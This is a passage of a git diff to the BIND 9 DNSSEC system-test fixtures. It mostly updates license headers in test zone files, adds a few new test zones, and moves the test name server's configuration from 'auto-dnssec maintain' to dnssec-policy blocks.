 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/dnssec/ns3/dnskey-unsupported.example.db.in b/bin/tests/system/dnssec/ns3/dnskey-unsupported.example.db.in
index c9e7c2b3da..f37dd750ce 100644
--- a/bin/tests/system/dnssec/ns3/dnskey-unsupported.example.db.in
+++ b/bin/tests/system/dnssec/ns3/dnskey-unsupported.example.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/dnssec/ns3/dynamic.example.db.in b/bin/tests/system/dnssec/ns3/dynamic.example.db.in
index c7dab83089..babf54c2a5 100644
--- a/bin/tests/system/dnssec/ns3/dynamic.example.db.in
+++ b/bin/tests/system/dnssec/ns3/dynamic.example.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/dnssec/ns3/expired.example.db.in b/bin/tests/system/dnssec/ns3/expired.example.db.in
index af312f2a16..b7706d3c9f 100644
--- a/bin/tests/system/dnssec/ns3/expired.example.db.in
+++ b/bin/tests/system/dnssec/ns3/expired.example.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/dnssec/ns3/expiring.example.db.in b/bin/tests/system/dnssec/ns3/expiring.example.db.in
index 4d8db53010..8acf7b121e 100644
--- a/bin/tests/system/dnssec/ns3/expiring.example.db.in
+++ b/bin/tests/system/dnssec/ns3/expiring.example.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/dnssec/ns3/future.example.db.in b/bin/tests/system/dnssec/ns3/future.example.db.in
index ddda25d2fd..20c19c5216 100644
--- a/bin/tests/system/dnssec/ns3/future.example.db.in
+++ b/bin/tests/system/dnssec/ns3/future.example.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/dnssec/ns3/generic.example.db.in b/bin/tests/system/dnssec/ns3/generic.example.db.in
index dd1778e21a..5cc3ecc1bb 100644
--- a/bin/tests/system/dnssec/ns3/generic.example.db.in
+++ b/bin/tests/system/dnssec/ns3/generic.example.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/dnssec/ns3/inline.example.db b/bin/tests/system/dnssec/ns3/inline.example.db
index 86552149e1..14971bd7a6 100644
--- a/bin/tests/system/dnssec/ns3/inline.example.db
+++ b/bin/tests/system/dnssec/ns3/inline.example.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/dnssec/ns3/insecure.below-cname.example.db b/bin/tests/system/dnssec/ns3/insecure.below-cname.example.db
index 86552149e1..14971bd7a6 100644
--- a/bin/tests/system/dnssec/ns3/insecure.below-cname.example.db
+++ b/bin/tests/system/dnssec/ns3/insecure.below-cname.example.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/dnssec/ns3/insecure.example.db b/bin/tests/system/dnssec/ns3/insecure.example.db
index 98777d674f..76e3f47f21 100644
--- a/bin/tests/system/dnssec/ns3/insecure.example.db
+++ b/bin/tests/system/dnssec/ns3/insecure.example.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/dnssec/ns3/insecure.nsec3.example.db b/bin/tests/system/dnssec/ns3/insecure.nsec3.example.db
index 86552149e1..14971bd7a6 100644
--- a/bin/tests/system/dnssec/ns3/insecure.nsec3.example.db
+++ b/bin/tests/system/dnssec/ns3/insecure.nsec3.example.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/dnssec/ns3/insecure.optout.example.db b/bin/tests/system/dnssec/ns3/insecure.optout.example.db
index 86552149e1..14971bd7a6 100644
--- a/bin/tests/system/dnssec/ns3/insecure.optout.example.db
+++ b/bin/tests/system/dnssec/ns3/insecure.optout.example.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/dnssec/ns3/insecure2.example.db b/bin/tests/system/dnssec/ns3/insecure2.example.db
new file mode 100644
index 0000000000..76e3f47f21
--- /dev/null
+++ b/bin/tests/system/dnssec/ns3/insecure2.example.db
@@ -0,0 +1,27 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 300	; 5 minutes
+@			IN SOA	mname1. . (
+				2000042407 ; serial
+				20         ; refresh (20 seconds)
+				20         ; retry (20 seconds)
+				1814400    ; expire (3 weeks)
+				3600       ; minimum (1 hour)
+				)
+			NS	ns
+ns			A	10.53.0.3
+
+a			A	10.0.0.1
+b			A	10.0.0.2
+d			A	10.0.0.4
+x			DNSKEY	258 3 5 Cg==
+z			A	10.0.0.26
diff --git a/bin/tests/system/dnssec/ns3/key.db.in b/bin/tests/system/dnssec/ns3/key.db.in
index 3847e2ea10..0165e3f8c6 100644
--- a/bin/tests/system/dnssec/ns3/key.db.in
+++ b/bin/tests/system/dnssec/ns3/key.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/dnssec/ns3/kskonly.example.db.in b/bin/tests/system/dnssec/ns3/kskonly.example.db.in
index cbfb691d08..0b11a00b00 100644
--- a/bin/tests/system/dnssec/ns3/kskonly.example.db.in
+++ b/bin/tests/system/dnssec/ns3/kskonly.example.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/dnssec/ns3/lower.example.db.in b/bin/tests/system/dnssec/ns3/lower.example.db.in
index 7a3879fa78..a04793e312 100644
--- a/bin/tests/system/dnssec/ns3/lower.example.db.in
+++ b/bin/tests/system/dnssec/ns3/lower.example.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/dnssec/ns3/managed-future.example.db.in b/bin/tests/system/dnssec/ns3/managed-future.example.db.in
index ddda25d2fd..20c19c5216 100644
--- a/bin/tests/system/dnssec/ns3/managed-future.example.db.in
+++ b/bin/tests/system/dnssec/ns3/managed-future.example.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/dnssec/ns3/multiple.example.db.in b/bin/tests/system/dnssec/ns3/multiple.example.db.in
index c9e7c2b3da..f37dd750ce 100644
--- a/bin/tests/system/dnssec/ns3/multiple.example.db.in
+++ b/bin/tests/system/dnssec/ns3/multiple.example.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/dnssec/ns3/named.conf.in b/bin/tests/system/dnssec/ns3/named.conf.in
index 233db0cc91..ee4b766d9f 100644
--- a/bin/tests/system/dnssec/ns3/named.conf.in
+++ b/bin/tests/system/dnssec/ns3/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -28,13 +30,49 @@ options {
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
 	inet 10.53.0.3 port @CONTROLPORT@ allow { any; } keys { rndc_key; };
 };
 
+dnssec-policy "dnssec" {
+	keys {
+		ksk key-directory lifetime unlimited algorithm @DEFAULT_ALGORITHM@;
+		zsk key-directory lifetime unlimited algorithm @DEFAULT_ALGORITHM@;
+	};
+};
+
+dnssec-policy "nsec3" {
+	keys {
+		ksk key-directory lifetime unlimited algorithm @DEFAULT_ALGORITHM@;
+		zsk key-directory lifetime unlimited algorithm @DEFAULT_ALGORITHM@;
+	};
+
+	nsec3param iterations 0 optout no salt-length 0;
+};
+
+dnssec-policy "autonsec" {
+	keys {
+		ksk key-directory lifetime unlimited algorithm @DEFAULT_ALGORITHM@;
+		zsk key-directory lifetime unlimited algorithm @DEFAULT_ALGORITHM@;
+		ksk key-directory lifetime unlimited algorithm @ALTERNATIVE_ALGORITHM@;
+		zsk key-directory lifetime unlimited algorithm @ALTERNATIVE_ALGORITHM@;
+	};
+};
+
+dnssec-policy "autonsec3" {
+	keys {
+		ksk key-directory lifetime unlimited algorithm @DEFAULT_ALGORITHM@;
+		zsk key-directory lifetime unlimited algorithm @DEFAULT_ALGORITHM@;
+		ksk key-directory lifetime unlimited algorithm @ALTERNATIVE_ALGORITHM@;
+		zsk key-directory lifetime unlimited algorithm @ALTERNATIVE_ALGORITHM@;
+	};
+
+	nsec3param iterations 0 optout no salt-length 0;
+};
+
 zone "." {
 	type hint;
 	file "../../common/root.hint";
@@ -76,6 +114,12 @@ zone "insecure.example" {
 	allow-update { any; };
 };
 
+zone "insecure2.example" {
+	type primary;
+	file "insecure2.example.db";
+	allow-update { any; };
+};
+
 zone "insecure.nsec3.example" {
 	type primary;
 	file "insecure.nsec3.example.db";
@@ -201,20 +245,21 @@ zone "expired.example" {
 
 zone "update-nsec3.example" {
 	type primary;
+	dnssec-policy nsec3;
 	allow-update { any; };
 	file "update-nsec3.example.db.signed";
 };
 
 zone "auto-nsec.example" {
 	type primary;
-	auto-dnssec maintain;
+	dnssec-policy autonsec;
 	allow-update { !0.0.0.0; };
 	file "auto-nsec.example.db.signed";
 };
 
 zone "auto-nsec3.example" {
 	type primary;
-	auto-dnssec maintain;
+	dnssec-policy autonsec3;
 	allow-update { !0.0.0.0; };
 	file "auto-nsec3.example.db.signed";
 };
@@ -256,13 +301,6 @@ zone "expiring.example" {
 	file "expiring.example.db.signed";
 };
 
-zone "nosign.example" {
-	type primary;
-	allow-update { any; };
-	dnssec-update-mode no-resign;
-	file "nosign.example.db.signed";
-};
-
 zone "upper.example" {
 	type primary;
 	file "upper.example.db.signed";
@@ -277,14 +315,7 @@ zone "inline.example" {
 	type primary;
 	file "inline.example.db";
 	inline-signing yes;
-	auto-dnssec maintain;
-};
-
-zone "publish-inactive.example" {
-	type primary;
-	file "publish-inactive.example.db";
-	auto-dnssec maintain;
-	update-policy local;
+	dnssec-policy dnssec;
 };
 
 zone "future.example" {
@@ -369,6 +400,38 @@ zone "too-many-iterations" {
 	file "too-many-iterations.bk";
 };
 
+zone "rsasha1.example" {
+	type primary;
+	file "rsasha1.example.db";
+};
+
+zone "rsasha1-1024.example" {
+	type primary;
+	file "rsasha1-1024.example.db";
+};
+
+dnssec-policy "siginterval1" {
+	keys {
+		ksk key-directory lifetime unlimited algorithm @DEFAULT_ALGORITHM@;
+		zsk key-directory lifetime unlimited algorithm @DEFAULT_ALGORITHM@;
+	};
+
+	signatures-validity 1d;
+	signatures-refresh 21h;
+	signatures-validity-dnskey 90d;
+};
+
+dnssec-policy "siginterval2" {
+	keys {
+		ksk key-directory lifetime unlimited algorithm @DEFAULT_ALGORITHM@;
+		zsk key-directory lifetime unlimited algorithm @DEFAULT_ALGORITHM@;
+	};
+
+	signatures-validity 35d;
+	signatures-refresh 28d;
+	signatures-validity-dnskey 90d;
+};
+
 include "siginterval.conf";
 
 include "trusted.conf";
diff --git a/bin/tests/system/dnssec/ns3/nosign.example.db.in b/bin/tests/system/dnssec/ns3/nosign.example.db.in
index f066e3c836..2be8a2833a 100644
--- a/bin/tests/system/dnssec/ns3/nosign.example.db.in
+++ b/bin/tests/system/dnssec/ns3/nosign.example.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/dnssec/ns3/nsec3-unknown.example.db.in b/bin/tests/system/dnssec/ns3/nsec3-unknown.example.db.in
index c9e7c2b3da..f37dd750ce 100644
--- a/bin/tests/system/dnssec/ns3/nsec3-unknown.example.db.in
+++ b/bin/tests/system/dnssec/ns3/nsec3-unknown.example.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/dnssec/ns3/nsec3.example.db.in b/bin/tests/system/dnssec/ns3/nsec3.example.db.in
index 8761ebb017..55b38776da 100644
--- a/bin/tests/system/dnssec/ns3/nsec3.example.db.in
+++ b/bin/tests/system/dnssec/ns3/nsec3.example.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/dnssec/ns3/nsec3.nsec3.example.db.in b/bin/tests/system/dnssec/ns3/nsec3.nsec3.example.db.in
index 3f10748395..15fe621fd0 100644
--- a/bin/tests/system/dnssec/ns3/nsec3.nsec3.example.db.in
+++ b/bin/tests/system/dnssec/ns3/nsec3.nsec3.example.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/dnssec/ns3/nsec3.optout.example.db.in b/bin/tests/system/dnssec/ns3/nsec3.optout.example.db.in
index 3f10748395..15fe621fd0 100644
--- a/bin/tests/system/dnssec/ns3/nsec3.optout.example.db.in
+++ b/bin/tests/system/dnssec/ns3/nsec3.optout.example.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/dnssec/ns3/occluded.example.db.in b/bin/tests/system/dnssec/ns3/occluded.example.db.in
index 77a1cfb63d..ee9c900540 100644
--- a/bin/tests/system/dnssec/ns3/occluded.example.db.in
+++ b/bin/tests/system/dnssec/ns3/occluded.example.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/dnssec/ns3/optout-unknown.example.db.in b/bin/tests/system/dnssec/ns3/optout-unknown.example.db.in
index c9e7c2b3da..f37dd750ce 100644
--- a/bin/tests/system/dnssec/ns3/optout-unknown.example.db.in
+++ b/bin/tests/system/dnssec/ns3/optout-unknown.example.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/dnssec/ns3/optout.example.db.in b/bin/tests/system/dnssec/ns3/optout.example.db.in
index ddda25d2fd..20c19c5216 100644
--- a/bin/tests/system/dnssec/ns3/optout.example.db.in
+++ b/bin/tests/system/dnssec/ns3/optout.example.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/dnssec/ns3/optout.nsec3.example.db.in b/bin/tests/system/dnssec/ns3/optout.nsec3.example.db.in
index 3f10748395..15fe621fd0 100644
--- a/bin/tests/system/dnssec/ns3/optout.nsec3.example.db.in
+++ b/bin/tests/system/dnssec/ns3/optout.nsec3.example.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/dnssec/ns3/optout.optout.example.db.in b/bin/tests/system/dnssec/ns3/optout.optout.example.db.in
index 3f10748395..15fe621fd0 100644
--- a/bin/tests/system/dnssec/ns3/optout.optout.example.db.in
+++ b/bin/tests/system/dnssec/ns3/optout.optout.example.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/dnssec/ns3/publish-inactive.example.db.in b/bin/tests/system/dnssec/ns3/publish-inactive.example.db.in
index 86552149e1..14971bd7a6 100644
--- a/bin/tests/system/dnssec/ns3/publish-inactive.example.db.in
+++ b/bin/tests/system/dnssec/ns3/publish-inactive.example.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/dnssec/ns3/rsasha1-1024.example.db b/bin/tests/system/dnssec/ns3/rsasha1-1024.example.db
new file mode 100644
index 0000000000..d51672c03c
--- /dev/null
+++ b/bin/tests/system/dnssec/ns3/rsasha1-1024.example.db
@@ -0,0 +1,63 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+; File written on Tue Jan 11 18:07:57 2022
+; dnssec_signzone version 9.17.21
+rsasha1-1024.example.			      300 IN SOA	mname1. . 2000042407 20 20 1814400 3600
+rsasha1-1024.example.			      300 IN RRSIG	SOA 5 2 300 20900129082204 20220111060757 22290 rsasha1-1024.example. kM6ztqAaLkxcRxYWrw2oe3qofzoIRjDv/tLD/A5edreqzzwj7H6Ihm0s JHfzqVOWBTwYzX0XgD0PXCqMdkXP7QlcWGYK7uCWnisayZIwNCdkywPC sS2ky1d0eK1A7kJ9nEH/eOgLba5uFZcAo8+9dD/6o6Rt1jTeTQkL4RHI UC8=
